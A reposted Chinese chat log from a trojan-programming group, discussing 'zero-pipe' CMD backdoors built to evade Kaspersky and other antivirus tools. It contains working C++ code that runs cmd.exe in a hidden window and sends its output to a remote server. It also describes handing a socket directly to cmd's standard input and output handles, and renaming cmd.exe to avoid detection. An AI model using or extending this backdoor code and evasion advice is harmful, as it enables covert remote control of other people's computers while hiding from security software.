技术讨论关于零管道CMD后门

来源:互联网 发布:旋风for mac 编辑:程序博客网 时间:2024/04/29 20:20

冷风
草草细说下零管道 关注........

.μρ2ц清风
这个不光过卡巴了,,,基本上所有主动防御都过!!
包口SSM,微点,,,

夕草
hot patching

.μρ2ц清风
对啊..

冷风
用socket直接替换输入输出的handle,可以实现零管道


sulwan
颠覆核心编程啊

.μρ2ц清风
反正我是用零管道的..

幻影
    si.hStdInput=hrp1;
    si.hStdOutput=hwp2;

幻影
是格handle

.μρ2ц清风
呵呵,,有一点点小资料,,不过看不明白!!

幻影
而socket是整形吧?

夕草
黑防有文章介绍过

夕草
socket 是 unsigned long

幻影
对啊
你的意思是
    si.hStdInput=sock1;
    si.hStdOutput=sock1;

sulwan
整形

Lenk
做管道通讯?

sulwan
没错

sulwan
SOCKET socket(
  int af,      
  int type,    
  int protocol 
);
问下,可以理解这样吗

冷风
呵呵明白了....

.μρ2ц清风

int CCmdLine::DOSShell(char *command)
{
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    HANDLE hRead=NULL,hWrite=NULL;

    TCHAR Cmdline[300]={0};     //命令行缓冲
    BYTE SendBuf[2048]={0};    //发送缓冲
    SECURITY_ATTRIBUTES sa;     //安全描述符
    DWORD bytesRead=0;
    std::string strBuffer;

    sa.nLength=sizeof(SECURITY_ATTRIBUTES);
    sa.lpSecurityDescriptor=NULL;
    sa.bInheritHandle=TRUE;

    //创建匿名管道
    if (!CreatePipe(&hRead,&hWrite,&sa,0)) 
        goto Clean;//失败

    si.cb=sizeof(STARTUPINFO);
    GetStartupInfo(&si);
    si.hStdError=hWrite;
    si.hStdOutput=hWrite;    //进程(cmd)的输出写入管道
    si.wShowWindow=SW_HIDE;
    si.dwFlags=STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;

    GetSystemDirectory(Cmdline,sizeof (Cmdline));   //获取系统目录
    strcat(Cmdline,"//cmd.exe /c ");                //拼接cmd
    strcat(Cmdline,command);  //拼接一条完整的cmd命令
    //创建进程,也就是执行cmd命令
    if (!CreateProcess(NULL,Cmdline,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi))
        goto Clean;//失败
    CloseHandle(hWrite);

    while (TRUE)
    {
        //无限循环读取管道中的数据,直到管道中没有数据为止
        if (ReadFile(hRead,SendBuf,sizeof (SendBuf),&bytesRead,NULL)==0)
            break;
        m_hServer->Send(SendBuf,bytesRead);
        memset(SendBuf,0,sizeof (SendBuf));  //缓冲清零
        Sleep(100);                          //休息一下
    }
Clean:
    if (hRead!=NULL)
        CloseHandle(hRead);
   
    if (hWrite!=NULL)
        CloseHandle(hWrite);

    return true;
}
幻影
这代码什么意思?

幻影
零管道?

.μρ2ц清风
零管道!!

夕草
就是把socket强制转换为handle类型

幻影
不是吧,这样能过卡吧了?

.μρ2ц清风
夕草在说什么呢??

夕草
不是过咔吧,我只是说零管道

.μρ2ц清风
呵呵,你自己测试过不过卡巴咯..

夕草
过卡巴,可以拷贝cmd.exe为abc.exe啊


幻影
(hWrite); 根本没有用啊啊


sulwan
你这样做内存消耗大吗

夕草
StartupInfo.hStdInput = (HANDLE)sclient;

幻影
可以拷贝cmd.exe为abc.exe啊--貌似没用,我这样用还是提示

.μρ2ц清风

零管道,不是我理解错了把..
只是创建一个pipe,卡巴之监控创建两个pipe的代码,,
不关socket的事!!!你拷贝CMD为其他名字一样监控..

夕草
零管道就是不用创建管道

Lenk
晚点再来。朋友们,慢慢讨论

.μρ2ц清风
他的流程是之创建CMD,然后执行命令,把管道里的数据读出来,,,关闭管道!!发送读到的数据!

.μρ2ц清风
晕,是不是我理解错了..零管道还有其他的说法??

sulwan
汗!我看我的思维是不行了!长见识了

夕草
零管道就是不用CreatePipe了
直接用socket接管输入输出句柄

.μρ2ц清风
好了,我回头再看看资料..也不用争论了,能过卡巴就是好马..哈哈!!
BlackFeather
赶紧学习···



结帖了 呵呵 零管道理解成幻影的可以吧
si.hStdInput=sock1;
si.hStdOutput=sock1;


by 木马编程技术讨论群 (44390702)